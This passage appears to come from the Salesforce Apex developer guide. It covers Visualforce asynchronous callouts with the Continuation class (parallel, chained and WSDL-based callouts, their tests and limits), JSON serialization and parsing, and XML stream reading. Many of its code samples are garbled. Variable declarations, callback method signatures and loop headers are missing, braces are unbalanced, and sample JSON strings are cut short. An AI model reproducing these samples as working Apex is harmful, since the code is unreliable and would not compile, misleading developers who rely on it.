a new Apex transaction starts. All Apex and Visualforce limits apply and are reset in the new transaction, including the Apex callout
limits.
Making Multiple Asynchronous Callouts
To make multiple callouts to a long-running service simultaneously from a Visualforce page, you can add up to three requests to
the Continuation instance. An example of when to make simultaneous callouts is when you’re making independent requests to a
service, such as getting inventory statistics for two products.
Chaining Asynchronous Callouts
If the order of the callouts matters, or when a callout is conditional on the response of another callout, you can chain callout requests.
Chaining callouts means that the next callout is made only after the response of the previous callout returns. For example, you might
need to chain a callout to get warranty extension information after the warranty service response indicates that the warranty expired.
You can chain up to three callouts.
Making an Asynchronous Callout from an Imported WSDL
In addition to HttpRequest-based callouts, asynchronous callouts are supported in Web service calls that are made from
WSDL-generated classes. The process of making asynchronous callouts from a WSDL-generated class is similar to the process for
using the HttpRequest class.
SEE ALSO:
Process for Using Asynchronous Callouts

To use asynchronous callouts, create a Continuation object in an action method of a controller, and implement a callback method.
Invoking an Asynchronous Callout in an Action Method

To invoke an asynchronous callout, call the external service by using a Continuation instance in your Visualforce action method.
When you create a continuation, you can specify a timeout value and the name of the callback method. For example, the following
creates a continuation with a 60-second timeout and a callback method name of processResponse.
Continuation cont = new Continuation(60);
cont.continuationMethod = 'processResponse';
Next, associate the Continuation object to an external callout. To do so, create the HTTP request, and then add this request to the
continuation as follows:
String requestLabel = cont.addHttpRequest(request);
506
Note: This process is based on making callouts with the HttpRequest class. For an example that uses a WSDL-based class, see
Making an Asynchronous Callout from an Imported WSDL.
The method that invokes the callout (the action method) must return the Continuation object to instruct Visualforce to suspend
the current request after the system sends the callout and waits for the callout response. The Continuation object holds the details
of the callout to be executed.
This is the signature of the method that invokes the callout. The Object return type represents a Continuation.
public Object calloutActionMethodName()
Defining a Callback Method

The response is returned after the external service finishes processing the callout. You can specify a callback method for asynchronous
execution after the callout returns. This callback method must be defined in the controller class where the callout invocation method is
defined. You can define a callback method to process the returned response, such as retrieving the response for display on a Visualforce
page.
The callback method doesn’t take any arguments and has this signature.
public Object callbackMethodName()
The Object return type represents a Continuation, a PageReference, or null. To render the original Visualforce page and
finish the Visualforce request, return null in the callback method.
If the action method uses JavaScript remoting (is annotated with @RemoteAction), the callback method must be static and has the
following supported signatures.
public static Object callbackMethodName(List< String> labels, Object state)
Or:
public static Object callbackMethodName(Object state)
The labels parameter is supplied by the system when it invokes the callback method and holds the labels associated with the callout
requests made. The state parameter is supplied by setting the Continuation.state property in the controller.
This table lists the return values for the callback method. Each return value corresponds to a different behavior.
Table 4: Possible Return Values for the Callback Method

Callback Method Return Value Request Lifecycle and Outcome
null The system finishes the Visualforce page request and renders the
original Visualforce page (or a portion of it).
PageReference The system finishes the Visualforce page request and redirects to
a new Visualforce page.
(Use query parameters in the PageReference to pass the
results of the Continuation to the new page.)
Continuation The system suspends the Visualforce request again and waits for
the response of a new callout. Return a new Continuation
in the callback method to chain asynchronous callouts.
507
Note: If the continuationMethod property isn’t set for a continuation, the same action method that made the callout is
called again when the callout response returns.
SEE ALSO:
Continuation Class
Testing Asynchronous Callouts

Write tests to test your controller and meet code coverage requirements for deploying or packaging Apex. Because Apex tests don’t
support making callouts, you can simulate callout requests and responses. When you’re simulating a callout, the request doesn’t get
sent to the external service, and a mock response is used.
The following example shows how to invoke a mock asynchronous callout in a test for a Web service call that uses HTTPRequest.
To simulate callouts in continuations, call these methods of the Test class: setContinuationResponse(requestLabel, mockResponse)
and invokeContinuationMethod(controller, request).
The controller class to test is listed first, followed by the test class. The controller class from Make Long-Running Callouts from a Visualforce
Page is reused here.
public with sharing class ContinuationController {
// Unique label corresponding to the continuation request
public String requestLabel;
// Result of callout
// Endpoint of long-running service
private static final String LONG_RUNNING_SERVICE_URL =
'<Insert your service URL>';
// Action method
public Object startRequest() {
con.continuationMethod='processResponse';

req.setEndpoint(LONG_RUNNING_SERVICE_URL);

this.requestLabel = con.addHttpRequest(req);

return con;
}
// Callback method
HttpResponse response = Continuation.getResponse(this.requestLabel);
this.result = response.getBody();
508

return null;
}
}
This example shows the test class corresponding to the controller. This test class contains a test method for testing an asynchronous
callout. In the test method, Test.setContinuationResponse sets a mock response, and
Test.invokeContinuationMethod causes the callback method for the continuation to be executed. The test ensures that
the callback method processed the mock response by verifying that the controller’s result variable is set to the expected response.
@isTest
public class ContinuationTestingForHttpRequest {
public static testmethod void testWebService() {
ContinuationController controller = new ContinuationController();
// Invoke the continuation by calling the action method
Continuation conti = (Continuation)controller.startRequest();
// Verify that the continuation has the proper requests

Map<String, HttpRequest> requests = conti.getRequests();
system.assert(requests.size() == 1);
system.assert(requests.get(controller.requestLabel) != null);
// Perform mock callout

// (i.e. skip the callout and call the callback method)
HttpResponse response = new HttpResponse();
response.setBody('Mock response body');
// Set the fake response for the continuation
Test.setContinuationResponse(controller.requestLabel, response);
// Invoke callback method
Object result = Test.invokeContinuationMethod(controller, conti);
// result is the return value of the callback
System.assertEquals(null, result);
// Verify that the controller's result variable
// is set to the mock response.
System.assertEquals('Mock response body', controller.result);
}
}

When a continuation is executing, the continuation-specific limits apply. When the continuation returns and the request resumes, a
new Apex transaction starts. All Apex and Visualforce limits apply and are reset in the new transaction, including the Apex callout limits.
Continuation-Specific Limits
The following are Apex and Visualforce limits that are specific to a continuation.
Description Limit
Maximum number of parallel Apex callouts in a single continuation 3
Maximum number of chained Apex callouts 3
Maximum timeout for a single continuation1 120 seconds
509
Description Limit
Maximum Visualforce controller-state size2 80 KB
Maximum HTTP response size 1 MB
Maximum HTTP POST form size—the size of all keys and values in the form3 1 MB
Maximum number of keys in the HTTP POST form3 500
1
The timeout that is specified in the autogenerated Web service stub and in the HttpRequest objects is ignored. Only this timeout limit
is enforced for a continuation.
2
When the continuation is executed, the Visualforce controller is serialized. When the continuation is completed, the controller is
deserialized and the callback is invoked. Use the Apex transient modifier to designate a variable that is not to be serialized. The
framework uses only serialized members when it resumes. The controller-state size limit is separate from the view state limit. See
Differences Between Continuation Controller State and Visualforce View State.
3
This limit is for HTTP POST forms with the following content type headers:
content-type='application/x-www-form-urlencoded' and content-type='multipart/form-data'
Differences Between Continuation Controller State and Visualforce View State

Controller state and view state are distinct. Controller state for a continuation consists of the serialization of all controllers that are involved
in the request, not only the controller that invokes the continuation. The serialized controllers include controller extensions, and custom
and internal component controllers. The controller state size is logged in the debug log as a USER_DEBUG event.
View state holds more data than the controller state and has a higher maximum size (135 KB). The view state contains state and component
structure. State is serialization of all controllers and all the attributes of each component on a page, including subpages and subcomponents
. Component structure is the parent-child relationship of components that are in the page. You can monitor the view state size in the
Developer Console or in the footer of a Visualforce page when development mode is enabled. For more information, see “View State
Tab” in the Salesforce Help or refer to the Visualforce Developer’s Guide.
Making Multiple Asynchronous Callouts

To make multiple callouts to a long-running service simultaneously from a Visualforce page, you can add up to three requests to the
Continuation instance. An example of when to make simultaneous callouts is when you’re making independent requests to a service,
such as getting inventory statistics for two products.
When you’re making multiple callouts in the same continuation, the callout requests run in parallel and suspend the Visualforce request.
Only after all callout responses are returned does the Visualforce process resume.
The following Visualforce and Apex examples show how to make two asynchronous callouts simultaneously by using a single continuation.
The Visualforce page is shown first. The Visualforce page contains a button that invokes the action method
startRequestsInParallel in the controller. When the Visualforce process resumes, the outputPanel component is
rendered again. This panel displays the responses of the two asynchronous callouts.
<apex:page controller="MultipleCalloutController" showChat="false" showHeader="false">
<apex:form >
<apex:commandButton action="{!startRequestsInParallel}" value="Start Request"
reRender="panel"/>
</apex:form>
510
<apex:outputPanel id="panel">

<apex:outputText value="{!result1}" />
<br/>

</apex:outputPanel>
</apex:page>
This example shows the controller class for the Visualforce page. The startRequestsInParallel method adds two requests
to the Continuation. After all callout responses are returned, the callback method (processAllResponses) is invoked and processes
the responses.
public with sharing class MultipleCalloutController {
// Unique label for the first request

public String requestLabel1;
// Unique label for the second request
// Result of first callout
public String result1 {get;set;}
// Result of second callout
// Endpoints of long-running service
private static final String LONG_RUNNING_SERVICE_URL1 =
'<Insert your first service URL>';
'<Insert your second service URL>';
// Action method
public Object startRequestsInParallel() {
con.continuationMethod='processAllResponses';
// Create first callout request

HttpRequest req1 = new HttpRequest();
req1.setMethod('GET');
req1.setEndpoint(LONG_RUNNING_SERVICE_URL1);
// Add first callout request to continuation

this.requestLabel1 = con.addHttpRequest(req1);
// Create second callout request

HttpRequest req2 = new HttpRequest();
req2.setMethod('GET');
req2.setEndpoint(LONG_RUNNING_SERVICE_URL2);
// Add second callout request to continuation

this.requestLabel2 = con.addHttpRequest(req2);
511
return con;
}
// Callback method.
// Invoked only when responses of all callouts are returned.
public Object processAllResponses() {
// Get the response of the first request
HttpResponse response1 = Continuation.getResponse(this.requestLabel1);
this.result1 = response1.getBody();
// Get the response of the second request

HttpResponse response2 = Continuation.getResponse(this.requestLabel2);
this.result2 = response2.getBody();

return null;
}
}
Chaining Asynchronous Callouts

If the order of the callouts matters, or when a callout is conditional on the response of another callout, you can chain callout requests.
Chaining callouts means that the next callout is made only after the response of the previous callout returns. For example, you might
need to chain a callout to get warranty extension information after the warranty service response indicates that the warranty expired.
You can chain up to three callouts.
The following Visualforce and Apex examples show how to chain one callout to another. The Visualforce page is shown first. The Visualforce
page contains a button that invokes the action method invokeInitialRequest in the controller. The Visualforce process is
suspended each time a continuation is returned. The Visualforce process resumes after each response is returned and renders each
response in the outputPanel component.
<apex:page controller="ChainedContinuationController" showChat="false" showHeader="false">
<apex:form >
<apex:commandButton action="{!invokeInitialRequest}" value="Start Request"
reRender="panel"/>
</apex:form>
<apex:outputPanel id="panel">

<br/>

</apex:outputPanel>
</apex:page>
This example show the controller class for the Visualforce page. The invokeInitialRequest method creates the first continuation.
The callback method (processInitialResponse) processes the response of the first callout. If this response meets a certain
512
condition, the method chains another callout by returning a second continuation. After the response of the chained continuation is
returned, the second callback method (processChainedResponse) is invoked and processes the second response.
public with sharing class ChainedContinuationController {
// Unique label for the initial callout request

// Unique label for the chained callout request
// Result of initial callout
// Result of chained callout
// Endpoint of long-running service
'<Insert your first service URL>';
'<Insert your second service URL>';
// Action method
public Object invokeInitialRequest() {
con.continuationMethod='processInitialResponse';
// Create first callout request

req.setEndpoint(LONG_RUNNING_SERVICE_URL1);
// Add initial callout request to continuation

this.requestLabel1 = con.addHttpRequest(req);

return con;
}
// Callback method for initial request

public Object processInitialResponse() {
HttpResponse response = Continuation.getResponse(this.requestLabel1);
this.result1 = response.getBody();
Continuation chainedContinuation = null;

// Chain continuation if some condition is met
if (response.getBody().toLowerCase().contains('expired')) {
// Create a second continuation
chainedContinuation = new Continuation(60);
chainedContinuation.continuationMethod='processChainedResponse';

513
req.setEndpoint(LONG_RUNNING_SERVICE_URL2);

this.requestLabel2 = chainedContinuation.addHttpRequest(req);
}
// Start another continuation

return chainedContinuation;
}
// Callback method for chained request

public Object processChainedResponse() {
// Get the response for the chained request
HttpResponse response = Continuation.getResponse(this.requestLabel2);
this.result2 = response.getBody();

return null;
}
}
Note: The response of a continuation must be retrieved before you create a new continuation and before the Visualforce request
is suspended again. You can’t retrieve an old response from an earlier continuation in the chain of continuations.
Making an Asynchronous Callout from an Imported WSDL

In addition to HttpRequest-based callouts, asynchronous callouts are supported in Web service calls that are made from
WSDL-generated classes. The process of making asynchronous callouts from a WSDL-generated class is similar to the process for using
the HttpRequest class.
When you import a WSDL in Salesforce, Salesforce autogenerates two Apex classes for each namespace in the imported WSDL. One
class is the service class for the synchronous service, and the other is a modified version for the asynchronous service. The autogenerated
asynchronous class name starts with the Async prefix and has the format AsyncServiceName. ServiceName is the name of
the original unmodified service class. The asynchronous class differs from the standard class in the following ways.
• The public service methods contain an extra Continuation parameter as the first parameter.
• The Web service operations are invoked asynchronously and their responses are obtained with the getValue method of the
response element.
• The WebServiceCallout.beginInvoke and WebServiceCallout.endInvoke are used to invoke the service
and get the response respectively.
You can generate Apex classes from a WSDL in the Salesforce user interface. From Setup, enter Apex Classes in the Quick Find
box, then select Apex Classes.
To make asynchronous Web service callouts, call the methods on the autogenerated asynchronous class by passing your Continuation
instance to these methods. The following example is based on a hypothetical stock-quote service. This example assumes that the
organization has a class, called AsyncSOAPStockQuoteService, that was autogenerated via a WSDL import. The example shows
how to make an asynchronous callout to the service by using the autogenerated AsyncSOAPStockQuoteService class. First,
this example creates a continuation with a 60-second timeout and sets the callback method. Next, the code example invokes the
514
beginStockQuote method by passing it the Continuation instance. The beginStockQuote method call corresponds to an
asynchronous callout execution.
public Continuation startRequest() {
Integer TIMEOUT_INT_SECS = 60;
Continuation cont = new Continuation(TIMEOUT_INT_SECS);
AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
stockQuoteService =
new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
stockQuoteFuture = stockQuoteService.beginStockQuote(cont,'CRM');
return cont;
}
When the external service returns the response of the asynchronous callout (the beginStockQuote method), this callback method
is executed. It gets the response by calling the getValue method on the response object.
result = stockQuoteFuture.getValue();
return null;
}
The following is the entire controller with the action and callback methods.
public class ContinuationSOAPController {
AsyncSOAPStockQuoteService.GetStockQuoteResponse_elementFuture
stockQuoteFuture;
// Action method
public Continuation startRequest() {
Integer TIMEOUT_INT_SECS = 60;
Continuation cont = new Continuation(TIMEOUT_INT_SECS);
AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap
stockQuoteService =
new AsyncSOAPStockQuoteService.AsyncStockQuoteServiceSoap();
stockQuoteFuture = stockQuoteService.beginGetStockQuote(cont,'CRM');
return cont;
}
// Callback method
result = stockQuoteFuture.getValue();
return null;
}
}
515
This example shows the corresponding Visualforce page that invokes the startRequest method and displays the result field.
<apex:page controller="ContinuationSOAPController" showChat="false" showHeader="false">
<apex:form >
<apex:commandButton action="{!startRequest}"
value="Start Request" reRender="result"/>
</apex:form>

<apex:outputText value="{!result}" />
</apex:page>
Testing WSDL-Based Asynchronous Callouts

Testing asynchronous callouts that are based on Apex classes from a WSDL is similar to the process that’s used with callouts that are
based on the HttpRequest class. Before you test ContinuationSOAPController.cls, create a class that implements
WebServiceMock. This class enables safe testing for ContinuationTestForWSDL.cls, which we'll create in a moment,
by enabling a mock continuation and making sure that the test has no real effect.
public class AsyncSOAPStockQuoteServiceMockImpl implements WebServiceMock {
public void doInvoke(
Object stub,
Object request,
String endpoint,
String soapAction,
String requestName,
String responseNS,
// do nothing
}
}
This example is the test class that corresponds to the ContinuationSOAPController controller. The test method in the class
sets a fake response and invokes a mock continuation. The callout isn’t sent to the external service. To perform a mock callout, the test
calls these methods of the Test class: setContinuationResponse(requestLabel, mockResponse) and invokeContinuationMethod(controller,
request).
@isTest
public class ContinuationTestingForWSDL {
public static testmethod void testWebService() {
ContinuationSOAPController demoWSDLClass =
new ContinuationSOAPController();
// Invoke the continuation by calling the action method

Continuation conti = demoWSDLClass.startRequest();
// Verify that the continuation has the proper requests

Map<String, HttpRequest> requests = conti.getRequests();
System.assertEquals(requests.size(), 1);
516
// Perform mock callout

// (i.e. skip the callout and call the callback method)
HttpResponse response = new HttpResponse();
response.setBody('<SOAP:Envelope'
+ ' xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/">'
+ '<SOAP:Body>'
+ '<m:getStockQuoteResponse '
+ 'xmlns:m="http://soap.sforce.com/schemas/class/StockQuoteServiceSoap">'
+ '<m:result>Mock response body</m:result>'
+ '</m:getStockQuoteResponse>'
+ '</SOAP:Body>'
+ '</SOAP:Envelope>');
// Set the fake response for the continuation

String requestLabel = requests.keyset().iterator().next();
Test.setContinuationResponse(requestLabel, response);
// Invoke callback method

Object result = Test.invokeContinuationMethod(demoWSDLClass, conti);
System.debug(demoWSDLClass);
// result is the return value of the callback

System.assertEquals(null, result);
// Verify that the controller's result variable

// is set to the mock response.
System.assertEquals('Mock response body', demoWSDLClass.result);
}
}
JSON Support
JavaScript Object Notation (JSON) support in Apex enables the serialization of Apex objects into JSON format and the deserialization of
serialized JSON content.
Apex provides a set of classes that expose methods for JSON serialization and deserialization. The following table describes the classes
available.
Class Description
System.JSON Contains methods for serializing Apex objects into JSON format
and deserializing JSON content that was serialized using the
serialize method in this class.
System.JSONGenerator Contains methods used to serialize objects into JSON content using
the standard JSON encoding.
System.JSONParser Represents a parser for JSON-encoded content.
The System.JSONToken enumeration contains the tokens used for JSON parsing.
Methods in these classes throw a JSONException if an issue is encountered during execution.
517
JSON Support Considerations

• JSON serialization and deserialization support is available for sObjects (standard objects and custom objects), Apex primitive
and collection types, return types of Database methods (such as SaveResult, DeleteResult, and so on), and instances of your Apex
classes.
• Only custom objects, which are sObject types, of managed packages can be serialized from code that is external to the
managed package. Objects that are instances of Apex classes defined in the managed package can't be serialized.
• A Map object is serializable into JSON only if it uses one of the following data types as a key.
– Boolean
– Date
– DateTime
– Decimal
– Double
– Enum
– Id
– Integer
– Long
– String
– Time
• When an object is declared as the parent type but is set to an instance of the subtype, some data may be lost. The object gets
serialized and deserialized as the parent type and any fields that are specific to the subtype are lost.
• An object that has a reference to itself won’t get serialized and causes a JSONException to be thrown.
• Reference graphs that reference the same object twice are deserialized and cause multiple copies of the referenced object to
be generated.
• The System.JSONParser data type isn’t serializable. If you have a serializable class, such as a Visualforce controller, that
has a member variable of type System.JSONParser and you attempt to create this object, you’ll receive an exception. To
use JSONParser in a serializable class, use a local variable instead in your method.
IN THIS SECTION:
Roundtrip Serialization and Deserialization
Use the JSON class methods to perform roundtrip serialization and deserialization of your JSON content. These methods enable
you to serialize objects into JSON-formatted strings and to deserialize JSON strings back into objects.
JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
JSON Parsing
Use the JSONParser class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted
response that's returned from a call to an external service, such as a web service callout.
Roundtrip Serialization and Deserialization

Use the JSON class methods to perform roundtrip serialization and deserialization of your JSON content. These methods enable you
to serialize objects into JSON-formatted strings and to deserialize JSON strings back into objects.
518
Example: Serialize and Deserialize a List of Invoices

This example creates a list of InvoiceStatement objects and serializes the list. Next, the serialized JSON string is used to deserialize
the list again and the sample verifies that the new list contains the same invoices that were present in the original list.
public class JSONRoundTripSample {
public class InvoiceStatement {

Long invoiceNumber;
Datetime statementDate;
Decimal totalPrice;
public InvoiceStatement(Long i, Datetime dt, Decimal price)

{
invoiceNumber = i;
statementDate = dt;
totalPrice = price;
}
}
public static void SerializeRoundtrip() {

Datetime dt = Datetime.now();
// Create a few invoices.
InvoiceStatement inv1 = new InvoiceStatement(1,Datetime.valueOf(dt),1000);
InvoiceStatement inv2 = new InvoiceStatement(2,Datetime.valueOf(dt),500);
// Add the invoices to a list.
List<InvoiceStatement> invoices = new List<InvoiceStatement>();
invoices.add(inv1);
invoices.add(inv2);
// Serialize the list of InvoiceStatement objects.

String JSONString = JSON.serialize(invoices);
System.debug('Serialized list of invoices into JSON format: ' + JSONString);
// Deserialize the list of invoices from the JSON string.

List<InvoiceStatement> deserializedInvoices =
(List<InvoiceStatement>)JSON.deserialize(JSONString, List<InvoiceStatement>.class);
System.assertEquals(invoices.size(), deserializedInvoices.size());
Integer i=0;
for (InvoiceStatement deserializedInvoice :deserializedInvoices) {
system.debug('Deserialized:' + deserializedInvoice.invoiceNumber + ','
+ deserializedInvoice.statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+ ', ' + deserializedInvoice.totalPrice);
system.debug('Original:' + invoices[i].invoiceNumber + ','
+ invoices[i].statementDate.formatGmt('MM/dd/yyyy HH:mm:ss.SSS')
+ ', ' + invoices[i].totalPrice);
i++;
}
}
}
JSON Serialization Considerations

The behavior of the serialize method differs depending on the Salesforce API version of the Apex code saved.
519
Serialization of queried sObject with additional fields set

For Apex saved using Salesforce API version 27.0 and earlier, if queried sObjects have additional fields set, these fields aren’t included
in the serialized JSON string returned by the serialize method. Starting with Apex saved using Salesforce API version 28.0, the
additional fields are included in the serialized JSON string.
This example adds a field to a contact after it has been queried, and then serializes the contact. The assertion statement verifies that
the JSON string contains the additional field. The assertion passes for Apex saved using Salesforce API version 28.0 and later.
Contact con = [SELECT Id, LastName, AccountId FROM Contact LIMIT 1];
// Set additional field
con.FirstName = 'Joe';
String jsonstring = Json.serialize(con);
System.debug(jsonstring);
System.assert(jsonstring.contains('Joe') == true);
Serialization of aggregate query result fields

For Apex saved using Salesforce API version 27.0, results of aggregate queries don’t include the fields in the SELECT statement when
serialized using the serialize method. For earlier API versions or for API version 28.0 and later, serialized aggregate query results
include all fields in the SELECT statement.
This aggregate query returns two fields: the count of ID fields and the account name.
String jsonString = JSON.serialize(
Database.query('SELECT Count(Id),Account.Name FROM Contact WHERE Account.Name !=
null GROUP BY Account.Name LIMIT 1'));
System.debug(jsonString);
// Expected output in API v 26 and earlier or v28 and later

// [{"attributes":{"type":"AggregateResult"},"expr0":2,"Name":"acct1"}]
Serialization of empty fields

Starting with API version 28.0, null fields aren’t serialized and aren’t included in the JSON string, unlike in earlier versions. This change
doesn’t affect deserializing JSON strings with JSON methods, such as deserialize(jsonString, apexType). This change is noticeable
when you inspect the JSON string. For example:
String jsonString = JSON.serialize(
[SELECT Id, Name, Website FROM Account WHERE Website = null LIMIT 1]);
System.debug(jsonString);
// In v27.0 and earlier, the string includes the null field and looks like the following.
// {"attributes":{...},"Id":"001D000000Jsm0WIAR","Name":"Acme","Website":null}
// In v28.0 and later, the string doesn’t include the null field and looks like
// the following.
// {"attributes":{...},"Name":"Acme","Id":"001D000000Jsm0WIAR"}}
Serialization of IDs
In API version 34.0 and earlier, ID comparison using == fails for IDs that have been through roundtrip JSON serialization and
deserialization.
SEE ALSO:
JSON Class
520
JSON Generator
Using the JSONGenerator class methods, you can generate standard JSON-encoded content.
You can construct JSON content, element by element, using the standard JSON encoding. To do so, use the methods in the
JSONGenerator class.
JSONGenerator Sample
This example generates a JSON string in pretty print format by using the methods of the JSONGenerator class. The example first
adds a number field and a string field, and then adds a field to contain an object field of a list of integers, which gets deserialized properly.
Next, it adds the A object into the Object A field, which also gets deserialized.
public class JSONGeneratorSample{
public class A {
String str;
public A(String s) { str = s; }

}
static void generateJSONContent() {

// Create a JSONGenerator object.
// Pass true to the constructor for pretty print formatting.
JSONGenerator gen = JSON.createGenerator(true);
// Create a list of integers to write to the JSON string.

List<integer> intlist = new List<integer>();
intlist.add(1);
intlist.add(2);
intlist.add(3);
// Create an object to write to the JSON string.

A x = new A('X');
// Write data to the JSON string.

gen.writeStartObject();
gen.writeNumberField('abc', 1.21);
gen.writeStringField('def', 'xyz');
gen.writeFieldName('ghi');
gen.writeStartObject();
gen.writeObjectField('aaa', intlist);
gen.writeEndObject();
gen.writeFieldName('Object A');
gen.writeObject(x);
gen.writeEndObject();
// Get the JSON string.

String pretty = gen.getAsString();
521
System.assertEquals('{\n' +
' "abc" : 1.21,\n' +
' "def" : "xyz",\n' +
' "ghi" : {\n' +
' "aaa" : [ 1, 2, 3 ]\n' +
' },\n' +
' "Object A" : {\n' +
' "str" : "X"\n' +
' }\n' +
'}', pretty);
}
}
SEE ALSO:
JSONGenerator Class
JSON Parsing
Use the JSONParser class methods to parse JSON-encoded content. These methods enable you to parse a JSON-formatted response
that's returned from a call to an external service, such as a web service callout.
The following are samples that show how to parse JSON strings.
Example: Parsing a JSON Response from a Web Service Callout

This example parses a JSON-formatted response using JSONParser methods. It makes a callout to a web service that returns a
response in JSON format. Next, the response is parsed to get all the totalPrice field values and compute the grand total price.
Before you can run this sample, you must add the web service endpoint URL as an authorized remote site in the Salesforce user interface.
To do this, log in to Salesforce and from Setup, enter Remote Site Settings in the Quick Find box, then select Remote
Site Settings.
public class JSONParserUtil {
@future(callout=true)
public static void parseJSONResponse() {
// Create HTTP request to send.
// Set the endpoint URL.
String endpoint = 'https://docsample.herokuapp.com/jsonSample';
request.setEndPoint(endpoint);
// Set the HTTP verb to GET.
// Send the HTTP request and get the response.
// The response is in JSON format.
System.debug(response.getBody());
/* The JSON response returned is the following:
String s = '{"invoiceList":[' +
'{"totalPrice":5.5,"statementDate":"2011-10-04T16:58:54.858Z","lineItems":[' +
'{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' +
'{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' +
'"invoiceNumber":1},' +
522
'{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' +
'{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' +
'{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' +
']}';
*/
// Parse JSON response to get all the totalPrice field values.

JSONParser parser = JSON.createParser(response.getBody());
Double grandTotal = 0.0;
if ((parser.getCurrentToken() == JSONToken.FIELD_NAME) &&
(parser.getText() == 'totalPrice')) {
// Get the value.
parser.nextToken();
// Compute the grand total price for all invoices.
grandTotal += parser.getDoubleValue();
}
}
system.debug('Grand total=' + grandTotal);
}
}
Example: Parse a JSON String and Deserialize It into Objects

This example uses a hardcoded JSON string, which is the same JSON string returned by the callout in the previous example. In this
example, the entire string is parsed into Invoice objects using the readValueAs method. This code also uses the skipChildren
method to skip the child array and child objects and parse the next sibling invoice in the list. The parsed objects are instances of the
Invoice class that is defined as an inner class. Because each invoice contains line items, the class that represents the corresponding
line item type, the LineItem class, is also defined as an inner class. Add this sample code to a class to use it.
public static void parseJSONString() {
String jsonStr =
'{"invoiceList":[' +
'{"UnitPrice":1.0,"Quantity":5.0,"ProductName":"Pencil"},' +
'{"UnitPrice":0.5,"Quantity":1.0,"ProductName":"Eraser"}],' +
'"invoiceNumber":1},' +
'{"UnitPrice":6.0,"Quantity":1.0,"ProductName":"Notebook"},' +
'{"UnitPrice":2.5,"Quantity":1.0,"ProductName":"Ruler"},' +
'{"UnitPrice":1.5,"Quantity":2.0,"ProductName":"Pen"}],"invoiceNumber":2}' +
']}';
// Parse entire JSON response.

JSONParser parser = JSON.createParser(jsonStr);
// Start at the array of invoices.
if (parser.getCurrentToken() == JSONToken.START_ARRAY) {
// Advance to the start object marker to
// find next invoice statement object.
if (parser.getCurrentToken() == JSONToken.START_OBJECT) {
// Read entire invoice object, including its array of line items.
Invoice inv = (Invoice)parser.readValueAs(Invoice.class);
523
system.debug('Invoice number: ' + inv.invoiceNumber);

system.debug('Size of list items: ' + inv.lineItems.size());
// For debugging purposes, serialize again to verify what was parsed.
String s = JSON.serialize(inv);
system.debug('Serialized invoice: ' + s);
// Skip the child start array and start object markers.

parser.skipChildren();
}
}
}
}
}
// Inner classes used for serialization by readValuesAs().
public class Invoice {

public Double totalPrice;
public DateTime statementDate;
public Long invoiceNumber;
List<LineItem> lineItems;
public Invoice(Double price, DateTime dt, Long invNumber, List<LineItem> liList) {

totalPrice = price;
statementDate = dt;
invoiceNumber = invNumber;
lineItems = liList.clone();
}
}
public class LineItem {

public Double unitPrice;
public Double quantity;
public String productName;
}
SEE ALSO:
JSONParser Class
XML Support
Apex provides utility classes that enable the creation and parsing of XML content using streams and the DOM.
This section contains details about XML support.
IN THIS SECTION:
Reading and Writing XML Using Streams
Apex provides classes for reading and writing XML content using streams.
Reading and Writing XML Using the DOM
Apex provides classes that enable you to work with XML content using the DOM (Document Object Model).
524
Reading and Writing XML Using Streams

Apex provides classes for reading and writing XML content using streams.
The XMLStreamReader class enables you to read XML content and the XMLStreamWriter class enables you to write XML content.
IN THIS SECTION:
Reading XML Using Streams
The XMLStreamReader class methods enable forward, read-only access to XML data.
Writing XML Using Streams
The XmlStreamWriter class methods enable the writing of XML data.
Reading XML Using Streams

The XMLStreamReader class methods enable forward, read-only access to XML data.
Those methods are used in conjunction with HTTP callouts to parse XML data or skip unwanted events. You can parse nested XML
content that’s up to 50 nodes deep. The following example shows how to instantiate a new XmlStreamReader object:
String xmlString = '<books><book>My Book</book><book>Your Book</book></books>';
XmlStreamReader xsr = new XmlStreamReader(xmlString);
These methods work on the following XML events:

• An attribute event is specified for a particular element. For example, the element <book> has an attribute title: <book
title="Salesforce.com for Dummies">.
• A start element event is the opening tag for an element, for example <book>.
• An end element event is the closing tag for an element, for example </book>.
• A start document event is the opening tag for a document.
• An end document event is the closing tag for a document.
• An entity reference is an entity reference in the code, for example !ENTITY title = "My Book Title".
• A characters event is a text character.
• A comment event is a comment in the XML file.
Use the next and hasNext methods to iterate over XML data. Access data in XML using get methods such as the getNamespace
method.
When iterating over the XML data, always check that stream data is available using hasNext before calling next to avoid attempting
to read past the end of the XML data.
XmlStreamReader Example
The following example processes an XML string.
public class XmlStreamReaderDemo {
// Create a class Book for processing

public class Book {
String name;
String author;
}
525
public Book[] parseBooks(XmlStreamReader reader) {

Book[] books = new Book[0];
boolean isSafeToGetNextXmlElement = true;
while(isSafeToGetNextXmlElement) {
// Start at the beginning of the book and make sure that it is a book
if (reader.getEventType() == XmlTag.START_ELEMENT) {
if ('Book' == reader.getLocalName()) {
// Pass the book to the parseBook method (below)
Book book = parseBook(reader);
books.add(book);
}
}
// Always use hasNext() before calling next() to confirm
// that we have not reached the end of the stream
if (reader.hasNext()) {
reader.next();
} else {
isSafeToGetNextXmlElement = false;
break;
}
}
return books;
}
// Parse through the XML, determine the author and the characters
Book parseBook(XmlStreamReader reader) {
Book book = new Book();
book.author = reader.getAttributeValue(null, 'author');
boolean isSafeToGetNextXmlElement = true;
while(isSafeToGetNextXmlElement) {
if (reader.getEventType() == XmlTag.END_ELEMENT) {
break;
} else if (reader.getEventType() == XmlTag.CHARACTERS) {
book.name = reader.getText();
}
// Always use hasNext() before calling next() to confirm
// that we have not reached the end of the stream
if (reader.hasNext()) {
reader.next();
} else {
isSafeToGetNextXmlElement = false;
break;
}
}
return book;
}
}
@isTest
private class XmlStreamReaderDemoTest {
// Test that the XML string contains specific values
static testMethod void testBookParser() {
XmlStreamReaderDemo demo = new XmlStreamReaderDemo();
526
String str = '<books><book author="Chatty">Foo bar</book>' +

